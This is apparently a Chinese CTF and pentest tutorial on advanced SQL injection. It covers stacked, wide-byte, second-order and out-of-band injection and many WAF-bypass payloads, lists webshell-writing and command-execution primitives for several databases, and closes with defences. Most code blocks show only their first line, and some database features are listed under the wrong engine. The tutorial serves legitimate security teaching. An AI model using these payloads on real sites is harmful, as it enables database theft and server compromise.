SQL注入讲解—高级注入技术与WAF深度绕过
从基础到高级的分水岭
基础 SQL 注入(UNION 查询、布尔盲注、时间盲注、报错注入)是每个 Web 安全从业者的入门必修课。但在真实 CTF 比赛和渗透测试中,遇到的往往是更复杂的场景:关键字被过滤、WAF 拦截、堆叠注入、无列名注入、宽字节注入、二次注入、预编译绕过、MySQL 特性利用等。
本文聚焦高级 SQL 注入技术,假设读者已经掌握基础注入流程,重点讲解那些能在高手对决中拉开差距的技巧。
堆叠注入的深度利用
堆叠注入(Stacked Queries)允许用分号 ; 在一条语句后拼接多条独立语句。是否可用取决于数据库驱动:PHP 的 mysqli_multi_query() 支持,mysqli_query() 不支持;Python 的 pymysql 默认不支持,但可以通过特定参数开启。
场景 1:预编译绕过关键字过滤
当 select、from、where 等关键字被严格过滤时,用预编译(PREPARE)拼接字符串执行:
1 | -- 基础预编译 |
场景 2:十六进制绕过
当连字符串拼接都被过滤时,用十六进制表示完整的 SQL 语句:
1 | -- "SELECT * FROM users" 的十六进制 |
场景 3:修改表结构注入 flag
当目标是把 flag 写入一个可查询的表中时:
1 | -- 在已知表中添加一列,把 flag 写进去 |
场景 4:HANDLER 语句绕过
MySQL 的 HANDLER 语句可以不通过 SELECT 直接打开表读取数据,当 select 被过滤时:
1 | ; HANDLER users OPEN; |
无列名注入
当 information_schema 被完全过滤,无法获取表名和列名时,需要无列名注入技术。
方法 1:JOIN 报错获取列名
1 | -- 用 JOIN 产生列名冲突报错 |
方法 2:数字代替列名
1 | -- 用反引号数字代替列名 |
方法 3:无列名盲注
1 | -- 用整行比较来逐位猜解数据,不需要知道列名 |
方法 4:sys 库替代 information_schema
MySQL 5.7+ 有 sys 系统库,可以替代 information_schema:
1 | -- 查表名 |
方法 5:innodb_table_stats
MySQL 8.0+ 中 information_schema 被进一步限制时,可以用 InnoDB 的数据字典表:
1 | SELECT NAME FROM mysql.innodb_table_stats WHERE database_name=database() |
宽字节注入深度解析
宽字节注入发生在数据库使用 GBK 等多字节编码,且应用层用 addslashes() 或 magic_quotes_gpc 转义单引号的场景。
原理
addslashes() 会把单引号 '(0x27)转义为 \'(0x5c 0x27)。但在 GBK 编码中,0xdf 0x5c 是一个合法的 GBK 字符(運)。当输入 %df' 时:
addslashes()把'转义为\',输入变成%df%5c%27- MySQL 用 GBK 解码时,
%df%5c被解释为一个 GBK 字符運 - 剩下的
%27(单引号)逃逸出来,成功闭合
payload
1 | ?id=1%df' UNION SELECT 1,2--+ |
进阶:其他多字节编码
- GB2312:类似 GBK,但合法字符范围不同
- BIG5:繁体中文编码,同样存在宽字节问题
- Shift-JIS:日文编码
关键是找到一个高位字节(>0x80)和 0x5c 组合成合法字符的编码。
二次注入的完整链路
二次注入(Second-Order SQL Injection)是指注入 payload 先被存入数据库,然后在另一个查询中被读取并拼接执行。它的难点在于找到数据从输入到数据库再到查询的完整链路。
典型场景
- 用户注册时,用户名为
admin'--,被转义后存入数据库(数据库中存的是admin'--) - 用户登录后,应用从数据库读取用户名,拼接到另一个 SQL 中(如修改密码的查询)
- 此时用户名中的
'--闭合了 SQL 语句,注入触发
利用示例
1 | -- 注册用户名:admin'# |
挖掘方法
- 追踪所有用户输入的存储位置
- 找到从数据库读取这些数据并拼接到 SQL 的地方
- 构造 payload,确保存储时不触发,但读取时触发
MySQL 特性利用
1. 报错注入的高级用法
updatexml 长度限制绕过
updatexml 最多显示 32 个字符,超过需要分段:
1 | -- 分段读取 |
extractvalue 双写绕过
当 updatexml 被过滤时用 extractvalue,当两者都被过滤时:
1 | -- 用 geometrycollection 等函数报错 |
2. 布尔盲注的加速技巧
二分法 + 位运算
1 | -- 直接猜 ASCII 码的每一位,比逐字符快 |
正则盲注
1 | -- 用正则表达式逐位匹配 |
3. 时间盲注的替代方案
当 sleep() 被过滤时:
1 | -- BENCHMARK |
4. DNS 外带(OOB)
当布尔和时间盲注都太慢时,用 DNS 外带把数据带出来:
1 | -- Windows 下用 LOAD_FILE 触发 DNS 查询 |
需要一个可控的 DNS 服务器(ceye.io、dnslog.cn)接收查询。
WAF 深度绕过
1. 解析差异绕过
WAF 和后端应用对同一个 HTTP 请求的解析可能不同,利用这种差异绕过:
参数污染(HPP)
1 | ?id=1&id=2 UNION SELECT 1,2--+ |
有些 WAF 取第一个参数(id=1),后端取第二个参数(id=2 UNION…)。
参数分块
1 | ?id=1 UNION/*&id=*/SELECT 1,2--+ |
WAF 看到的是 id=1 UNION/* 和 id=*/SELECT 1,2--+,都不完整;后端拼接后是完整的注入。
HTTP 走私
利用 CL.TE 或 TE.CL 的请求走私,让 WAF 和后端看到不同的请求体。
2. 编码绕过
Unicode 编码
1 | ?id=1%u0027%20UNION%u0020SELECT--+ |
有些 WAF 不解码 %u 编码,后端的 IIS/ASP 会解码。
双重 URL 编码
1 | ?id=1%2527%2520UNION%2520SELECT--+ |
WAF 解码一次看到 %27(不认为是单引号),后端解码两次看到 '。
HTML 实体编码
在某些上下文中(如搜索结果回显在 HTML 中),WAF 可能不解码 HTML 实体:
1 | ?id=1' UNION SELECT 1,2--+ |
3. 语法混淆
大小写 + 注释混合
1 | ?id=1 UnIoN/*xxx*/SeLeCt/*yyy*/1,2--+ |
关键字拆分
1 | ?id=1 UNI/**/ON SEL/**/ECT 1,2--+ |
空白字符替代
1 | ?id=1%0bUNION%0cSELECT%091,2--+ |
%09(tab)、%0a(换行)、%0b(垂直tab)、%0c(换页)、%0d(回车) 都可以代替空格。
4. 等价函数/语法替换
| 被过滤 | 替代 |
|---|---|
= |
LIKE、REGEXP、!=、>、< |
AND |
&& |
OR |
` |
空格 |
/**/、%09、括号 |
SUBSTR |
MID、SUBSTRING、LEFT |
DATABASE() |
SCHEMA() |
GROUP_CONCAT |
CONCAT_WS、CONCAT |
SLEEP() |
BENCHMARK() |
information_schema |
sys、mysql.innodb_table_stats |
SELECT |
HANDLER、预编译、TABLE |
WHERE |
HAVING、ORDER BY、LIMIT |
5. 内联注释绕过
1 | ?id=1 /*!UNION*/ /*!SELECT*/ 1,2--+ |
MySQL 的内联注释 /*! ... */ 中的内容会被 MySQL 执行,但 WAF 可能不识别。带版本号的 /*!50000 ... */ 表示 MySQL >= 5.0.0 时执行。
各数据库高级特性
MySQL
LOAD_FILE():读文件(需要 FILE 权限和 secure_file_priv 配置)INTO OUTFILE/INTO DUMPFILE:写文件(写 webshell)sys_exec()/sys_eval():UDF 执行系统命令xp_cmdshell:MSSQL 的命令执行COPY ... FROM PROGRAM:PostgreSQL 的命令执行
MSSQL
xp_cmdshell:执行系统命令xp_regread/xp_regwrite:注册表操作OPENROWSET:跨服务器查询sp_addlinkedsrvlogin:链接服务器WAITFOR DELAY:时间盲注convert()报错注入
PostgreSQL
COPY ... FROM PROGRAM:执行命令(9.3+)pg_read_file():读文件pg_ls_dir():列目录dblink:跨数据库查询CREATE EXTENSION:加载扩展
Oracle
UTL_HTTP.REQUEST:HTTP 请求(SSRF)DBMS_XSLPROCESSOR.READ2CLOB:读文件DBMS_SCHEDULER:执行命令XMLTYPE:报错注入- 必须用
FROM dual才能 SELECT 常量
实战:无回显堆叠注入拿 flag
这是一个典型的高级 CTF 场景:存在堆叠注入,但无回显,select 被过滤,information_schema 被过滤。
解题思路
- 用堆叠注入修改表结构,把 flag 写入已知表
- 用报错注入或时间盲注读取数据
- 或者用
LOAD_FILE直接读 flag 文件
payload
1 | -- 1. 探测表结构(用 HANDLER 或报错) |
防御的本质
SQL 注入的根本防御是参数化查询(预编译),把 SQL 结构和数据分开。任何基于黑名单/过滤的防御都可以被绕过——因为 SQL 的语法太灵活,编码、注释、等价函数、数据库特性的组合无穷无尽。
纵深防御:
- 参数化查询:根本防御
- 输入验证:白名单校验,数字型参数只允许数字
- 最小权限:数据库账号只给必要权限,禁止 FILE、SUPER 等危险权限
- WAF:作为额外一层,但不依赖
- 错误信息不回显:生产环境关闭详细错误
- 定期审计:代码审计 + 动态扫描(SQLMap)
总结
高级 SQL 注入的核心是理解数据库的内部机制和语法灵活性。从堆叠注入的预编译绕过,到无列名注入的 JOIN 报错,从宽字节注入的编码特性,到二次注入的数据链路,每一种高级技术都是在利用数据库的某个特性或实现细节。
WAF 绕过的本质是解析差异——WAF 和后端对同一个请求的解析方式不同,利用这种差异让 WAF 看到的是无害内容,后端看到的是注入 payload。
掌握高级 SQL 注入需要:深入理解各种数据库的特性、积累大量绕过 payload、培养对解析差异的敏感度。这是一个需要大量实战积累的领域,没有捷径。









